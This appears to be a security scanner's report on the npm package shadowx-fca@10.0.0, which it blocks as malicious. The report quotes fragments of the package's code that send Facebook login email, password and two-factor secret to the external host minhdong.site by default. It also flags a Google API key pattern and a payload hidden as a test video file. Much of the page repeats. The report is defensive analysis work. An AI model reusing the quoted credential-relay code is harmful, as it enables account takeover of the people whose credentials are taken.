shadowx-fca@10.0.0: Malicious npm security report (Block)

Loading npm security reports…

shadowx-fca@10.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

13 flagged

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

Lines 110-150javascript

110var require_safe_buffer = __commonJS({

111 "node_modules/ws/node_modules/safe-buffer/index.js"(exports2, module2) {

112 "use strict";

113 init_cjs_shims();

114 var buffer = require("buffer");

115 var Buffer3 = buffer.Buffer;

116 function copyProps(src, dst) {

117 for (var key in src) {

118 dst[key] = src[key];

119 }

120 }

121 if (Buffer3.from && Buffer3.alloc && Buffer3.allocUnsafe && Buffer3.allocUnsafeSlow) {

122 module2.exports = buffer;

123 } else {

124 copyProps(buffer, exports2);

125 exports2.Buffer = SafeBuffer;

126 }

127 function SafeBuffer(arg, encodingOrOffset, length) {

128 return Buffer3(arg, encodingOrOffset, length);

129 }

130 copyProps(Buffer3, SafeBuffer);

131 SafeBuffer.from = function(arg, encodingOrOffset, length) {

132 if (typeof arg === "number") {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

133 throw new TypeError("Argument must not be a number");

134 }

135 return Buffer3(arg, encodingOrOffset, length);

136 };

137 SafeBuffer.alloc = function(size, fill, encoding) {

138 if (typeof size !== "number") {

139 throw new TypeError("Argument must be a number");

140 }

141 var buf = Buffer3(size);

142 if (fill !== void 0) {

143 if (typeof encoding === "string") {

144 buf.fill(fill, encoding);

145 } else {

146 buf.fill(fill);

147 }

148 } else {

149 buf.fill(0);

150 }

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950 "privacy",

2951

module/loginHelper.jsView file

Lines 1-21javascript

1"use strict";

2const fs = require("fs");

3const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.1.0 matchedPath = module/config.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

src/vendor/fca-unofficial/test/data/something.movView file

•path = src/vendor/fca-unofficial/test/data/something.mov kind = high_entropy_blob sizeBytes = 211750 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

•path = src/vendor/fca-unofficial/test/data/something.mov kind = payload_in_excluded_dir sizeBytes = 211750 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.1.0 matchedPath = [redacted].js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.1.0 matchedPath = src/api/socket/core/getSeqID.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

src/api/threads/getThreadInfo.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.1.0 matchedPath = src/api/threads/getThreadInfo.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/threads/getThreadInfo.jsView on unpkg

src/api/users/getUserInfo.jsView file

•matchType = normalized_sha256 matchedPackage = fca-eryxenx@39.1.0 matchedPath = src/api/users/getUserInfo.js matchedIdentity = npm:ZmNhLWVyeXhlbng:39.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/users/getUserInfo.jsView on unpkg

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950

Source & flagged code

13 flagged · loading source

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

High Secret

Package contains a high-severity secret pattern.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

130copyProps(Buffer3, SafeBuffer); L131: SafeBuffer.from = function(arg, encodingOrOffset, length) { L132: if (typeof arg === "number") { ... L400: * @return {Object} Accepted configuration L401: * @private L402: */ ... L543: this._inflate[kWriteInProgress] = true; L544: this._inflate.write(data); L545: if (fin) this._inflate.write(TRAILER); ... L660: * @param {(String|Buffer|ArrayBuffer|Buffer[])} data The received data L661: * @param {WebSocket} target A reference to the target to which the event was dispatched L662: */

Low

Weak Crypto

Package source references weak cryptographic algorithms.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

module/loginHelper.jsView file

1"use strict"; L2: const fs = require("fs"); L3: const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

src/vendor/fca-unofficial/test/data/something.movView file

•path = src/vendor/fca-unofficial/test/data/something.mov kind = high_entropy_blob sizeBytes = 211750 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

•path = src/vendor/fca-unofficial/test/data/something.mov kind = payload_in_excluded_dir sizeBytes = 211750 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

src/api/messaging/uploadAttachment.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

src/api/threads/getThreadInfo.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/threads/getThreadInfo.jsView on unpkg

src/api/users/getUserInfo.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/users/getUserInfo.jsView on unpkg

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/vendor/fb-e2ee.cjs

src/api/socket/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

Source & flagged code

13 flagged

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

Lines 110-150javascript

110var require_safe_buffer = __commonJS({

111 "node_modules/ws/node_modules/safe-buffer/index.js"(exports2, module2) {

112 "use strict";

113 init_cjs_shims();

114 var buffer = require("buffer");

115 var Buffer3 = buffer.Buffer;

116 function copyProps(src, dst) {

117 for (var key in src) {

118 dst[key] = src[key];

119 }

120 }

121 if (Buffer3.from && Buffer3.alloc && Buffer3.allocUnsafe && Buffer3.allocUnsafeSlow) {

122 module2.exports = buffer;

123 } else {

124 copyProps(buffer, exports2);

125 exports2.Buffer = SafeBuffer;

126 }

127 function SafeBuffer(arg, encodingOrOffset, length) {

128 return Buffer3(arg, encodingOrOffset, length);

129 }

130 copyProps(Buffer3, SafeBuffer);

131 SafeBuffer.from = function(arg, encodingOrOffset, length) {

132 if (typeof arg === "number") {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

133 throw new TypeError("Argument must not be a number");

134 }

135 return Buffer3(arg, encodingOrOffset, length);

136 };

137 SafeBuffer.alloc = function(size, fill, encoding) {

138 if (typeof size !== "number") {

139 throw new TypeError("Argument must be a number");

140 }

141 var buf = Buffer3(size);

142 if (fill !== void 0) {

143 if (typeof encoding === "string") {

144 buf.fill(fill, encoding);

145 } else {

146 buf.fill(fill);

147 }

148 } else {

149 buf.fill(0);

150 }

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950 "privacy",

2951

module/loginHelper.jsView file

Lines 1-21javascript

1"use strict";

2const fs = require("fs");

3const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

src/vendor/fca-unofficial/test/data/something.movView file

•path = src/vendor/fca-unofficial/test/data/something.mov kind = high_entropy_blob sizeBytes = 211750 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

•path = src/vendor/fca-unofficial/test/data/something.mov kind = payload_in_excluded_dir sizeBytes = 211750 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

src/vendor/fca-unofficial/test/data/something.movView on unpkg

src/api/messaging/uploadAttachment.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

src/api/threads/getThreadInfo.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/threads/getThreadInfo.jsView on unpkg

src/api/users/getUserInfo.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/users/getUserInfo.jsView on unpkg

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950

shadowx-fca@10.0.0

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code